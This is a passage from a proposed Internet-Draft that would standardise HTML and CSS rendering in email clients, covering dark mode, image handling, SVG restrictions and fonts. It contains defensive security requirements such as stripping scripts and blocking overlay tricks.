Unified Rendering of Email Standard (URES)
A proposed Internet-Draft to standardise how email clients render HTML and CSS.
Open for comment. We're seeking feedback from email developers, mail client vendors, and the broader community. Send your thoughts to better-email-rfc@mimeprotect.com
Why this matters
Email rendering is fundamentally broken. Every major email client—Gmail, Outlook, Apple Mail, Yahoo—interprets HTML and CSS differently. There's no standard. No specification. Just chaos.
The result? Email developers are forced to use archaic techniques like table-based layouts (deprecated in web development since 2010), inline styles everywhere, and maintain sprawling compatibility matrices. Features that work perfectly in browsers—flexbox, grid, CSS variables—either don't work or behave unpredictably in email.
Dark mode is a particular disaster. When an email client decides to "help" by inverting your colours, it often inverts text from black to white—sensible enough—but leaves images untouched. A black logo on a white background becomes a black logo on a black background. Invisible. The same client that helpfully adjusted your text colour just made your brand disappear.
Companies have no control over how their carefully crafted emails actually appear to recipients. The "fix" has been a patchwork of hacks, conditional comments, and accepting that emails will look different—or broken—depending on where they're opened.
Don't believe us? Check Can I email...—a community-maintained catalogue of what works where. It's hundreds of CSS properties and HTML elements, each with a patchwork of "yes", "no", and "partial" across dozens of clients. This is the current state of email.
Internet-Draft • draft-hackett-ures-00 • January 2026
Internet Engineering Task Force W. Hackett
Internet-Draft Independent
Intended status: Standards Track January 2026
Expires: July 2026
Unified Rendering of Email Standard (URES)
draft-hackett-ures-00
Abstract
This document specifies requirements for the uniform rendering of
HTML email content across mail user agents (MUAs). It addresses
critical inconsistencies in how email clients interpret HTML and
CSS, including dark mode adaptation, embedded asset handling,
positioning constraints, and secure SVG rendering. The specification
aims to eliminate the current fragmentation in email rendering while
maintaining backwards compatibility with existing MIME standards
(RFCs 2045-2049) and the Internet Message Format (RFC 5322).
Status of This Memo
This Internet-Draft is submitted in full conformance with the
provisions of BCP 78 and BCP 79.
Internet-Drafts are working documents of the Internet Engineering
Task Force (IETF). Note that other groups may also distribute
working documents as Internet-Drafts.
Internet-Drafts are draft documents valid for a maximum of six
months and may be updated, replaced, or obsoleted by other documents
at any time. It is inappropriate to use Internet-Drafts as reference
material or to cite them other than as "work in progress."
Copyright Notice
Copyright (c) 2026 IETF Trust and the persons identified as the
document authors. All rights reserved.
Table of Contents
1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 3
1.1. Background . . . . . . . . . . . . . . . . . . . . . . 3
1.2. Problem Statement . . . . . . . . . . . . . . . . . . . 4
1.3. Requirements Language . . . . . . . . . . . . . . . . . 5
2. Terminology . . . . . . . . . . . . . . . . . . . . . . . . . 5
3. Document Structure Requirements . . . . . . . . . . . . . . . 6
3.1. HTML Version . . . . . . . . . . . . . . . . . . . . . 6
3.2. Required Document Structure . . . . . . . . . . . . . . 6
3.3. Style Placement . . . . . . . . . . . . . . . . . . . . 7
4. CSS Support Requirements . . . . . . . . . . . . . . . . . . 8
4.1. MUST Support Properties . . . . . . . . . . . . . . . . 8
4.2. Positioning Constraints . . . . . . . . . . . . . . . . 10
4.3. z-index Handling . . . . . . . . . . . . . . . . . . . 11
4.4. Box Model . . . . . . . . . . . . . . . . . . . . . . . 12
4.5. Layout Methods . . . . . . . . . . . . . . . . . . . . 12
5. Dark Mode Adaptation . . . . . . . . . . . . . . . . . . . . 13
5.1. Colour Scheme Meta Tag . . . . . . . . . . . . . . . . 13
5.2. Media Query Support . . . . . . . . . . . . . . . . . . 14
5.3. Client Behaviour Requirements . . . . . . . . . . . . . 15
5.4. Colour Inversion Rules . . . . . . . . . . . . . . . . 16
5.5. Image Handling in Dark Mode . . . . . . . . . . . . . . 17
6. Image and Asset Handling . . . . . . . . . . . . . . . . . . 18
6.1. Inline Base64 Images . . . . . . . . . . . . . . . . . 18
6.2. CID (Content-ID) Images . . . . . . . . . . . . . . . . 20
6.3. Remote Images . . . . . . . . . . . . . . . . . . . . . 21
6.4. Image Format Support . . . . . . . . . . . . . . . . . 22
6.5. Responsive Images . . . . . . . . . . . . . . . . . . . 23
7. SVG Rendering . . . . . . . . . . . . . . . . . . . . . . . . 24
7.1. Executive-Safe SVG Profile . . . . . . . . . . . . . . 24
7.2. Prohibited SVG Elements . . . . . . . . . . . . . . . . 25
7.3. SVG Rendering Requirements . . . . . . . . . . . . . . 26
7.4. SVG Dark Mode Adaptation . . . . . . . . . . . . . . . 27
8. Typography and Fonts . . . . . . . . . . . . . . . . . . . . 28
8.1. Web Font Support . . . . . . . . . . . . . . . . . . . 28
8.2. System Font Stack . . . . . . . . . . . . . . . . . . . 29
8.3. Font Size and Line Height . . . . . . . . . . . . . . . 29
9. Interactive Elements . . . . . . . . . . . . . . . . . . . . 30
9.1. Link Handling . . . . . . . . . . . . . . . . . . . . . 30
9.2. Form Elements . . . . . . . . . . . . . . . . . . . . . 31
9.3. Button Styling . . . . . . . . . . . . . . . . . . . . 31
10. Security Considerations . . . . . . . . . . . . . . . . . . . 32
10.1. Script Execution . . . . . . . . . . . . . . . . . . . 32
10.2. External Resource Loading . . . . . . . . . . . . . . . 33
10.3. CSS Expression Prevention . . . . . . . . . . . . . . . 33
10.4. SVG Security . . . . . . . . . . . . . . . . . . . . . 34
10.5. Tracking Prevention . . . . . . . . . . . . . . . . . . 35
10.6. Content Security Policy . . . . . . . . . . . . . . . . 36
10.7. Positioning Attack Prevention . . . . . . . . . . . . . 37
11. Web-Based Client Requirements . . . . . . . . . . . . . . . . 38
11.1. Sandboxing . . . . . . . . . . . . . . . . . . . . . . 38
11.2. Containment . . . . . . . . . . . . . . . . . . . . . . 39
11.3. Stacking Context Isolation . . . . . . . . . . . . . . 39
12. Accessibility . . . . . . . . . . . . . . . . . . . . . . . . 40
12.1. Semantic HTML . . . . . . . . . . . . . . . . . . . . . 40
12.2. Alternative Text . . . . . . . . . . . . . . . . . . . 41
12.3. Colour Contrast . . . . . . . . . . . . . . . . . . . . 41
13. Conformance Levels . . . . . . . . . . . . . . . . . . . . . 42
13.1. URES Level 1 (Baseline) . . . . . . . . . . . . . . . 42
13.2. URES Level 2 (Enhanced) . . . . . . . . . . . . . . . 43
13.3. URES Level 3 (Full) . . . . . . . . . . . . . . . . . 43
14. Adoption Considerations . . . . . . . . . . . . . . . . . . . 44
14.1. Open Source Reference Implementations . . . . . . . . . 44
14.2. Precedent for Community-Driven Adoption . . . . . . . . 44
14.3. Incremental Adoption Path . . . . . . . . . . . . . . . 45
15. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 46
16. References . . . . . . . . . . . . . . . . . . . . . . . . . 47
16.1. Normative References . . . . . . . . . . . . . . . . . 47
16.2. Informative References . . . . . . . . . . . . . . . . 48
Appendix A. Known Client Inconsistencies . . . . . . . . . . . . 49
Appendix B. Migration Guide . . . . . . . . . . . . . . . . . . . 52
Appendix C. Test Suite . . . . . . . . . . . . . . . . . . . . . 54
1. Introduction
1.1. Background
Email remains one of the most critical communication channels for
both personal and business communications. Despite decades of
development, the rendering of HTML email content remains
frustratingly inconsistent across mail user agents (MUAs).
The current standards landscape is fragmented:
o RFC 5322 [RFC5322] defines the Internet Message Format, specifying
header fields and basic body structure.
o RFCs 2045-2049 [RFC2045] define MIME, enabling multi-part messages
with various content types including text/html.
o The W3C maintains HTML and CSS specifications, but these are
designed for web browsers, not email clients.
o No RFC or standard body governs how email clients SHOULD or MUST
render HTML and CSS content.
This gap has resulted in a situation where email developers must
maintain extensive compatibility matrices, use archaic techniques
such as table-based layouts, and accept that their carefully crafted
emails will appear differently, or broken, across different clients.
Current documentation of these inconsistencies, such as the
community-maintained caniemail.com resource, catalogues hundreds of
CSS properties and HTML elements with varying support across dozens
of email clients. This RFC aims to formalise baseline requirements
to reduce this fragmentation.
1.2. Problem Statement
The following critical issues plague current email rendering:
1. CSS Support Inconsistency: Properties universally supported in
browsers (flexbox, grid, CSS variables) have zero or partial
support in major email clients. Gmail strips <style> tags in
non-AMP contexts. Outlook uses Microsoft Word's rendering engine.
2. Dark Mode Chaos: Email clients implement dark mode adaptation
differently. Some invert all colours, some honour author
preferences, some do nothing. Text becomes illegible when
foreground colours are inverted but backgrounds are not.
3. Image Handling: Base64 inline images are blocked by many clients
citing size concerns. CID attachments render inconsistently.
Remote images enable tracking and are blocked by default.
4. SVG Non-Support: Most email clients strip or fail to render SVG
entirely, despite it being a W3C standard since 2001. Executives
receive emails with missing logos and charts.
5. Positioning Attacks: In web-based clients (Gmail, Outlook.com),
malicious use of position:fixed or high z-index values could
overlay phishing content atop the webmail UI.
6. Layout Primitives: Modern CSS layout (flexbox, grid) is
unsupported in Outlook desktop, forcing continued use of nested
HTML tables—a technique deprecated in web development since 2010.
7. Font Rendering: @font-face and web fonts work in approximately
40% of email clients, with no fallback standardisation.
8. Media Queries: Support for responsive design via @media queries
is inconsistent, with Gmail notably stripping them entirely.
1.3. Requirements Language
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
"SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and
"OPTIONAL" in this document are to be interpreted as described in
BCP 14 [RFC2119] [RFC8174] when, and only when, they appear in all
capitals, as shown here.
2. Terminology
Mail User Agent (MUA)
An application that accesses email on behalf of a user. This
includes desktop applications (Apple Mail, Outlook, Thunderbird),
web-based clients (Gmail, Outlook.com, Yahoo Mail), and mobile
applications (iOS Mail, Gmail app).
Rendering Engine
The component of an MUA responsible for interpreting and
displaying HTML/CSS content. Some MUAs use web browser engines
(WebKit, Blink), others use proprietary engines (Microsoft Word
in Outlook desktop).
Dark Mode
A display preference where the UI uses a dark background with
light text. Email clients may automatically adapt email content
to match this preference.
Colour Scheme
The light or dark preference indicated by the email author or
inferred by the email client.
Inline Image
An image embedded directly in the HTML using a data: URI with
base64 encoding, or referenced via Content-ID (CID).
Executive-Safe
Content that renders correctly in email clients commonly used by
business executives, particularly Outlook desktop, Apple Mail,
and Gmail.
Stacking Context
A three-dimensional conceptualisation of HTML elements along an
imaginary z-axis relative to the user. Elements with z-index
values form stacking contexts.
Content Isolation
The practice of preventing email content from affecting or
overlaying the host application's user interface.
3. Document Structure Requirements
3.1. HTML Version
Conforming MUAs MUST support HTML5 document structure as defined in
[HTML5]. The following DOCTYPE declaration MUST be recognised:
<!DOCTYPE html>
MUAs MUST also accept and render documents using XHTML and HTML4
doctypes for backwards compatibility. However, email authors SHOULD
use HTML5.
MUAs MUST NOT require an XML declaration for HTML email content.
3.2. Required Document Structure
MUAs MUST correctly parse and render the following minimal document
structure:
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml"
xmlns:o="urn:schemas-microsoft-com:office:office">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="color-scheme" content="light dark">
<meta name="supported-color-schemes" content="light dark">
<title>Email Subject</title>
<!--[if mso]>
<noscript>
<xml>
<o:OfficeDocumentSettings>
<o:PixelsPerInch>96</o:PixelsPerInch>
</o:OfficeDocumentSettings>
</xml>
</noscript>
<![endif]-->
<style>
/* Author styles */
</style>
</head>
<body>
<!-- Content -->
</body>
</html>
MUAs MUST preserve the <html> element's lang attribute and make it
available to accessibility tools.
MUAs MUST parse and apply the viewport meta tag for responsive
rendering on mobile devices.
MUAs supporting Microsoft Office conditional comments SHOULD
interpret <!--[if mso]> blocks appropriately.
3.3. Style Placement
MUAs MUST support CSS styles in ALL of the following locations:
1. Inline styles via the style attribute on any HTML element
2. Embedded styles via <style> elements in the <head>
3. Embedded styles via <style> elements in the <body>
MUAs MUST NOT strip or ignore <style> elements based on their
placement in the document.
MUAs MUST process multiple <style> elements in document order,
applying standard CSS cascade rules.
MUAs SHOULD support <link rel="stylesheet"> elements referencing
external stylesheets, subject to security controls defined in
Section 10.
When an MUA chooses not to load external stylesheets for security
reasons, it MUST still apply all inline and embedded styles.
4. CSS Support Requirements
4.1. MUST Support Properties
Conforming MUAs MUST support the following CSS properties with full
specification compliance:
4.1.1. Box Model Properties
margin, margin-top, margin-right, margin-bottom, margin-left
padding, padding-top, padding-right, padding-bottom, padding-left
border, border-width, border-style, border-color
border-top, border-right, border-bottom, border-left
border-radius, border-top-left-radius, border-top-right-radius,
border-bottom-left-radius, border-bottom-right-radius
width, min-width, max-width
height, min-height, max-height
box-sizing
4.1.2. Typography Properties
font-family
font-size
font-weight
font-style
line-height
text-align
text-decoration, text-decoration-line, text-decoration-color,
text-decoration-style
text-transform
letter-spacing
word-spacing
white-space
vertical-align
4.1.3. Colour and Background Properties
color
background-color
background-image (for gradients and data: URIs)
background-position
background-repeat
background-size
background (shorthand)
opacity
4.1.4. Layout Properties
display (block, inline, inline-block, none, table,
table-row, table-cell, flex, inline-flex)
position (static, relative)
float, clear
overflow, overflow-x, overflow-y
4.1.5. Table Properties
table-layout
border-collapse
border-spacing
caption-side
4.1.6. Visual Properties
visibility
cursor
outline
4.1.7. List Properties
list-style, list-style-type, list-style-position, list-style-image
4.1.8. CSS Selectors
MUAs MUST support the following CSS selectors:
Type selectors (p, div, table)
Class selectors (.classname)
ID selectors (#idname)
Descendant combinator (div p)
Child combinator (div > p)
Adjacent sibling combinator (h1 + p)
Attribute selectors ([attr], [attr=value], [attr~=value],
[attr|=value], [attr^=value], [attr$=value], [attr*=value])
Pseudo-classes (:first-child, :last-child, :nth-child(),
:hover, :active, :focus, :visited, :link)
Pseudo-elements (::before, ::after, ::first-line, ::first-letter)
4.2. Positioning Constraints
For security reasons detailed in Section 10.7, MUAs MUST constrain
the position property as follows:
4.2.1. Permitted Values
MUAs MUST support:
position: static (default, normal flow)
position: relative (offset from normal position)
4.2.2. Prohibited Values in Web Clients
Web-based MUAs (those running within a web browser context) MUST
treat the following values as position: static:
position: fixed
position: absolute
position: sticky
When an email contains these prohibited position values, the MUA
MUST either:
a) Render the element as position: static, OR
b) Render the element as position: relative with top, left, right,
and bottom values clamped to values that cannot cause the
element to escape its container.
4.2.3. Native Client Behaviour
Native (non-web-based) MUAs MAY support position: absolute and
position: fixed, provided the email content is rendered in a
sandboxed context that cannot overlay the application chrome.
Native MUAs that support these positioning values MUST ensure that
positioned elements cannot:
o Escape the boundaries of the email content area
o Overlay application UI elements (toolbars, menus, buttons)
o Overlay other emails in a preview pane
o Capture input intended for application controls
4.3. z-index Handling
The z-index property controls stacking order within a stacking
context. MUAs MUST implement z-index handling that prevents
malicious overlay attacks.
4.3.1. Stacking Context Isolation
MUAs MUST create a new stacking context for email content that is
isolated from the host application. This means:
o z-index values within email content MUST NOT affect elements
outside the email content container.
o The email content container MUST have a z-index lower than any
application UI that could be targeted for spoofing.
4.3.2. Maximum z-index
MUAs SHOULD normalise z-index values within email content. If an
email specifies z-index: 2147483647 (the maximum 32-bit signed
integer), this MUST still be rendered below application UI.
Implementation approaches:
a) Contain email content in an iframe with srcdoc
b) Apply CSS containment (contain: strict)
c) Clamp z-index values to a maximum safe value
d) Render email in a separate compositing layer
4.3.3. Required Implementation
MUAs MUST support z-index for controlling stacking order of elements
within the email content area.
MUAs MUST NOT allow email content z-index values to cause elements
to render above:
o Browser chrome (address bar, tabs)
o MUA application chrome (toolbars, sidebar)
o Security indicators (lock icons, sender verification)
o Other emails in list or preview views
4.4. Box Model
MUAs MUST implement the CSS Box Model as defined in [CSS-BOX-3].
MUAs MUST support box-sizing: border-box and box-sizing: content-box.
The default MAY be either value, but the author-specified value
MUST be honoured.
When calculating widths:
o box-sizing: content-box - width applies to content only; padding
and border are added to the total width.
o box-sizing: border-box - width includes content, padding, and
border.
4.5. Layout Methods
4.5.1. Flexbox
MUAs MUST support CSS Flexible Box Layout [CSS-FLEXBOX-1] including:
display: flex
display: inline-flex
flex-direction
flex-wrap
flex-flow
justify-content
align-items
align-content
order
flex-grow
flex-shrink
flex-basis
flex
align-self
4.5.2. CSS Grid (SHOULD Support)
MUAs SHOULD support CSS Grid Layout [CSS-GRID-1]. Where supported,
MUAs MUST implement:
display: grid
display: inline-grid
grid-template-columns
grid-template-rows
grid-template-areas
grid-gap, gap, row-gap, column-gap
grid-column, grid-row
grid-area
4.5.3. Table Layout
MUAs MUST support HTML table elements and CSS table display values
for layout purposes. This ensures backwards compatibility with
existing email templates.
Table elements: table, thead, tbody, tfoot, tr, th, td, caption,
colgroup, col
MUAs MUST support the cellpadding and cellspacing HTML attributes
on table elements for legacy compatibility.
5. Dark Mode Adaptation
Dark mode support is critical for email legibility. This section
defines requirements for consistent dark mode behaviour.
5.1. Colour Scheme Meta Tag
MUAs MUST recognise and honour the color-scheme meta tag:
<meta name="color-scheme" content="light dark">
Valid values:
o "light" - Email is designed for light mode only
o "dark" - Email is designed for dark mode only
o "light dark" - Email supports both modes
o "only light" - Email MUST NOT be adapted for dark mode
o "only dark" - Email MUST NOT be adapted for light mode
For backwards compatibility, MUAs SHOULD also recognise:
<meta name="supported-color-schemes" content="light dark">
When color-scheme is set to "only light", MUAs MUST NOT invert,
adjust, or otherwise modify the colours specified by the email
author, even when the MUA or operating system is in dark mode.
5.2. Media Query Support
MUAs MUST support the prefers-color-scheme media query:
@media (prefers-color-scheme: dark) {
body {
background-color: #1a1a1a;
color: #ffffff;
}
}
@media (prefers-color-scheme: light) {
body {
background-color: #ffffff;
color: #1a1a1a;
}
}
When the user has selected dark mode in their MUA or operating
system, prefers-color-scheme: dark MUST match.
MUAs MUST NOT strip or ignore @media rules, including @media
(prefers-color-scheme: ...) rules.
5.3. Client Behaviour Requirements
5.3.1. Default Behaviour
When an email does not include color-scheme meta tags or
prefers-color-scheme media queries:
o MUAs MAY apply automatic dark mode adaptation
o MUAs that apply automatic adaptation MUST do so in a way that
maintains legibility (see Section 5.4)
5.3.2. Author-Defined Dark Mode
When an email includes both:
o <meta name="color-scheme" content="light dark">, AND
o @media (prefers-color-scheme: dark) styles
MUAs MUST:
o Apply the author's dark mode styles when dark mode is active
o NOT apply any automatic colour inversion or adaptation
o NOT override the author's specified colours
5.3.3. Light-Only Emails
When an email includes:
o <meta name="color-scheme" content="only light">
MUAs MUST:
o Render the email exactly as authored, with no colour modification
o NOT invert backgrounds, text, or any other colours
o If desired, display the email in a light-coloured container
within the dark mode UI
5.4. Colour Inversion Rules
When an MUA applies automatic dark mode adaptation to an email that
has not opted out, the following rules MUST be followed:
5.4.1. Inversion Pairing
MUAs MUST NOT invert foreground colours without also inverting the
corresponding background colour. Specifically:
o If text colour is inverted from dark to light, the background
behind that text MUST also be inverted from light to dark.
o If a background is inverted, all foreground elements (text,
borders) on that background MUST be correspondingly adjusted.
5.4.2. Contrast Preservation
When inverting colours, MUAs MUST maintain a minimum contrast ratio
of 4.5:1 for normal text and 3:1 for large text, as defined in
WCAG 2.1 [WCAG21].
5.4.3. Selective Inversion
MUAs SHOULD NOT invert:
o Images (see Section 5.5)
o Colours that already meet dark mode contrast requirements
(e.g., light text on dark background)
o Brand colours when those colours are semantically significant
5.5. Image Handling in Dark Mode
5.5.1. Default Behaviour
MUAs MUST NOT apply colour inversion to <img> elements by default.
5.5.2. Author Control
Authors MAY indicate that an image should adapt to dark mode using
CSS:
@media (prefers-color-scheme: dark) {
.dark-invert {
filter: invert(1) hue-rotate(180deg);
}
}
MUAs MUST support the filter property for this purpose.
5.5.3. Transparent Images
Images with transparency (PNG, WebP, SVG) may become illegible on
inverted backgrounds. MUAs SHOULD:
o Detect images with transparent regions
o When automatic inversion is applied, consider placing such images
on a white background using CSS
Alternatively, authors SHOULD provide separate images for light and
dark modes using the <picture> element:
<picture>
<source srcset="logo-dark.png"
media="(prefers-color-scheme: dark)">
<img src="logo-light.png" alt="Company Logo">
</picture>
MUAs MUST support the <picture> element with media queries in
<source> elements.
6. Image and Asset Handling
6.1. Inline Base64 Images
Inline images using data: URIs provide a tracking-free method for
including images directly in email content. MUAs MUST support this
mechanism.
6.1.1. Syntax
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA
AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Red dot">
6.1.2. Required Support
MUAs MUST render inline base64 images for the following MIME types:
image/png
image/jpeg (including image/jpg as an alias)
image/gif
image/webp
image/svg+xml (subject to security restrictions in Section 7)
6.1.3. Size Limits
MUAs MUST support inline images with encoded sizes of at least:
o Individual image: 1 MB (after base64 encoding)
o Total per email: 10 MB (cumulative across all inline images)
MUAs MAY support larger sizes but MUST NOT fail to render images
below these thresholds.
When an inline image exceeds the MUA's size limit, the MUA SHOULD:
o Display the alt text if provided
o Display a placeholder indicating an image could not be loaded
o NOT silently omit the image without any indication
6.1.4. Rendering Behaviour
MUAs MUST render inline base64 images:
o Without requiring user interaction to "load images"
o Without displaying tracking/privacy warnings for these images
o Immediately upon email open (no lazy-load deferral)
This behaviour is REQUIRED because inline images:
o Cannot be used for tracking (no external request is made)
o Are already fully downloaded as part of the email content
o Provide a privacy-preserving alternative to remote images
6.1.5. CSS Background Images
MUAs MUST also support base64-encoded images in CSS background
properties:
.hero {
background-image: url('data:image/png;base64,...');
}
The same MIME type and size requirements apply.
6.2. CID (Content-ID) Images
Content-ID references allow images attached to the email to be
displayed inline. MUAs MUST support this mechanism as defined in
RFC 2392 [RFC2392].
6.2.1. Syntax
In the HTML body:
<img src="cid:image001@example.com" alt="Inline image">
In the MIME structure:
Content-Type: image/png
Content-Transfer-Encoding: base64
Content-ID: <image001@example.com>
Content-Disposition: inline
6.2.2. Required Behaviour
MUAs MUST:
o Resolve cid: URLs to the corresponding MIME part
o Render the image inline at the point of reference
o Support CID references in both <img> elements and CSS
background-image properties
o Render CID images without requiring "load images" interaction
6.2.3. Content-ID Matching
MUAs MUST match CID references case-insensitively.
MUAs MUST support CID references with and without angle brackets:
<img src="cid:image001@example.com">
<img src="cid:<image001@example.com>">
Both forms MUST resolve to a MIME part with:
Content-ID: <image001@example.com>
6.3. Remote Images
Remote images are loaded from external URLs and present privacy and
security considerations.
6.3.1. Default Behaviour
MUAs MAY block remote images by default due to privacy concerns
(tracking pixels, IP address disclosure).
When remote images are blocked, MUAs MUST:
o Display alt text if provided
o Indicate that images are not being displayed
o Provide a mechanism for users to load images for the current
email or sender
6.3.2. When Loaded
When the user chooses to load remote images, MUAs MUST:
o Load all remote images in the email (not selectively)
o Support standard URL formats (http:, https:)
o Follow HTTP redirects (up to a reasonable limit, e.g., 5)
o Respect cache headers
MUAs SHOULD:
o Use a proxy to prevent IP address disclosure
o Strip referer headers when loading remote images
6.3.3. HTTPS Requirement
MUAs SHOULD warn users or block remote images loaded over plain
HTTP (not HTTPS) when the email claims to be from a sensitive
sender (e.g., financial institutions).
6.4. Image Format Support
MUAs MUST support the following image formats:
Format MIME Type Required
------ --------- --------
JPEG image/jpeg MUST
PNG image/png MUST
GIF image/gif MUST (including animated)
WebP image/webp MUST
SVG image/svg+xml MUST (see Section 7)
AVIF image/avif SHOULD
HEIC/HEIF image/heic MAY
For each supported format, MUAs MUST correctly render:
o Transparency (where applicable: PNG, GIF, WebP, SVG, AVIF)
o Animation (where applicable: GIF, WebP, AVIF)
o Colour profiles (sRGB, Display P3)
6.5. Responsive Images
MUAs MUST support responsive image syntax to enable efficient
delivery across device sizes.
6.5.1. srcset Attribute
MUAs MUST support the srcset attribute:
<img src="image-300.jpg"
srcset="image-600.jpg 2x, image-900.jpg 3x"
alt="Responsive image">
MUAs MUST correctly interpret:
o Pixel density descriptors (1x, 2x, 3x)
o Width descriptors (300w, 600w, 900w)
6.5.2. sizes Attribute
MUAs MUST support the sizes attribute:
<img src="image-300.jpg"
srcset="image-300.jpg 300w, image-600.jpg 600w"
sizes="(max-width: 600px) 100vw, 50vw"
alt="Responsive image">
6.5.3. picture Element
MUAs MUST support the <picture> element for art direction and
format selection:
<picture>
<source srcset="wide.jpg" media="(min-width: 600px)">
<source srcset="square.jpg" media="(min-width: 400px)">
<img src="narrow.jpg" alt="Responsive art direction">
</picture>
7. SVG Rendering
Scalable Vector Graphics provide resolution-independent images
essential for logos, icons, charts and diagrams. This section
defines an "Executive-Safe" SVG profile that balances functionality
with security.
7.1. Executive-Safe SVG Profile
The Executive-Safe SVG Profile defines a restricted subset of SVG
that MUST be supported by conforming MUAs. This profile is named
to emphasise that SVG content—particularly logos and charts—must
render correctly in email clients commonly used by business
executives.
The Executive-Safe profile includes:
o All SVG 1.1 shape elements
o Text elements
o Gradients and patterns
o Basic filters (subset)
o Symbols and use references (internal only)
o Styling via presentation attributes and internal stylesheets
The Executive-Safe profile excludes:
o Script elements and event handlers
o External references
o Animation elements (use CSS animation instead)
o ForeignObject element
o Certain filter primitives
7.2. Prohibited SVG Elements
MUAs MUST strip or neutralise the following SVG elements:
7.2.1. Script and Event Handlers
<script>
Any element with on* attributes (onclick, onload, onerror, etc.)
7.2.2. External References
<use href="external.svg#symbol">
<image href="external.png">
<a href="javascript:...">
<feImage xlink:href="external.svg">
Note: Internal references within the same SVG document ARE permitted:
<use href="#internal-symbol"> <!-- OK -->
7.2.3. Animation Elements
The following SMIL animation elements MUST NOT execute:
<animate>
<animateMotion>
<animateTransform>
<set>
CSS animations applied to SVG elements via <style> or presentation
attributes SHOULD be permitted (subject to MUA animation policies).
7.2.4. Foreign Content
<foreignObject>
<switch> (when containing foreignObject)
7.2.5. Problematic Filter Primitives
The following filter primitives MUST be stripped due to security
concerns or excessive resource consumption:
<feConvolveMatrix> (potential for DoS via large kernels)
<feTurbulence> (resource intensive)
<feDisplacementMap> (can reveal cross-origin content)
7.3. SVG Rendering Requirements
7.3.1. Inline SVG
MUAs MUST support inline SVG directly in HTML:
<div class="logo">
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" fill="#0066cc"/>
</svg>
</div>
7.3.2. SVG as Image
MUAs MUST support SVG via <img> elements:
<img src="logo.svg" alt="Company Logo" width="100" height="100">
<img src="data:image/svg+xml;base64,..." alt="Inline SVG">
<img src="cid:logo@example.com" alt="Attached SVG">
When SVG is loaded via <img>, it MUST be rendered in a secure
context where:
o Scripts do not execute
o External references are not resolved
o The SVG cannot access the parent document
7.3.3. SVG Background Images
MUAs MUST support SVG in CSS background properties:
.icon {
background-image: url('data:image/svg+xml,...');
}
7.3.4. Permitted SVG Elements
The following SVG elements MUST be rendered:
Container: svg, g, defs, symbol, use (internal refs only)
Shapes: circle, ellipse, line, polygon, polyline, rect, path
Text: text, tspan, textPath
Graphics: image (data: and cid: only), clipPath, mask
Paint: linearGradient, radialGradient, stop, pattern
Filter: filter, feBlend, feColorMatrix, feComponentTransfer,
feComposite, feFlood, feGaussianBlur, feMerge,
feMergeNode, feOffset
7.3.5. Attribute Support
MUAs MUST support SVG presentation attributes:
fill, stroke, stroke-width, stroke-linecap, stroke-linejoin,
stroke-dasharray, stroke-dashoffset, opacity, fill-opacity,
stroke-opacity, transform, viewBox, preserveAspectRatio,
x, y, width, height, cx, cy, r, rx, ry, x1, y1, x2, y2,
points, d, font-family, font-size, font-weight, text-anchor
7.4. SVG Dark Mode Adaptation
SVG elements SHOULD be adaptable to dark mode via CSS.
7.4.1. CSS Custom Properties in SVG
MUAs SHOULD support CSS custom properties (variables) within SVG:
<svg viewBox="0 0 100 100">
<style>
:root { --logo-color: #0066cc; }
@media (prefers-color-scheme: dark) {
:root { --logo-color: #66b3ff; }
}
</style>
<circle cx="50" cy="50" r="40" fill="var(--logo-color)"/>
</svg>
7.4.2. currentColor Support
MUAs MUST support the currentColor value in SVG:
<span style="color: #0066cc;">
<svg viewBox="0 0 24 24">
<path fill="currentColor" d="M12 2L2 12h3v8h14v-8h3L12 2z"/>
</svg>
</span>
This enables SVG icons to inherit text colour, including dark mode
adaptations.
8. Typography and Fonts
8.1. Web Font Support
MUAs SHOULD support @font-face declarations:
@font-face {
font-family: 'Custom Font';
src: url('https://example.com/font.woff2') format('woff2'),
url('https://example.com/font.woff') format('woff');
font-weight: 400;
font-display: swap;
}
When web fonts are supported, MUAs MUST:
o Support WOFF2 and WOFF formats
o Respect font-display values
o Fall back to the next font in the font-family stack when
external fonts are blocked or fail to load
When web fonts are not supported or blocked, MUAs MUST NOT:
o Fail to render text
o Display missing character symbols
MUAs MUST fall back to available system fonts.
8.2. System Font Stack
MUAs MUST support system font keywords:
font-family: system-ui;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI',
Roboto, Oxygen-Sans, Ubuntu, Cantarell,
'Helvetica Neue', sans-serif;
MUAs MUST correctly map generic font families:
serif -> system serif font
sans-serif -> system sans-serif font
monospace -> system monospace font
cursive -> system cursive font
fantasy -> system fantasy font
MUAs MUST NOT substitute significantly different fonts for these
generic families.
8.3. Font Size and Line Height
MUAs MUST NOT override author-specified font sizes except:
o To enforce a minimum readable size (SHOULD NOT be larger than
10px equivalent)
o When the user has explicitly enabled a "large text" or
accessibility setting
MUAs MUST support all CSS unit types for font-size:
px, em, rem, pt, %, vw, vh
MUAs MUST support unitless line-height values:
line-height: 1.5;
This MUST be interpreted as 1.5 times the element's font size.
9. Interactive Elements
9.1. Link Handling
MUAs MUST render <a> elements with href attributes as clickable
links.
9.1.1. Link Styling
MUAs MUST apply author-specified styles to links. The default
blue-underlined appearance MAY be overridden by the email author.
MUAs MUST support all link pseudo-classes:
a:link, a:visited, a:hover, a:active, a:focus
9.1.2. Link Behaviour
When a link is activated:
o http: and https: links MUST open in the default browser
o mailto: links SHOULD open a new compose window
o tel: links SHOULD initiate a phone call (on capable devices)
MUAs MUST NOT allow links with:
javascript: URLs
data: URLs (except for direct file downloads)
file: URLs
9.1.3. Link Prefetching
MUAs MUST NOT prefetch or preload linked URLs without explicit
user action.
9.2. Form Elements
HTML forms in email present significant security concerns and have
poor support.
MUAs MAY support form rendering (display only). If forms are
rendered, MUAs MUST NOT allow form submission from within the email.
For non-functional forms, MUAs SHOULD display form elements
(inputs, selects, buttons) in a visually appropriate but clearly
disabled state.
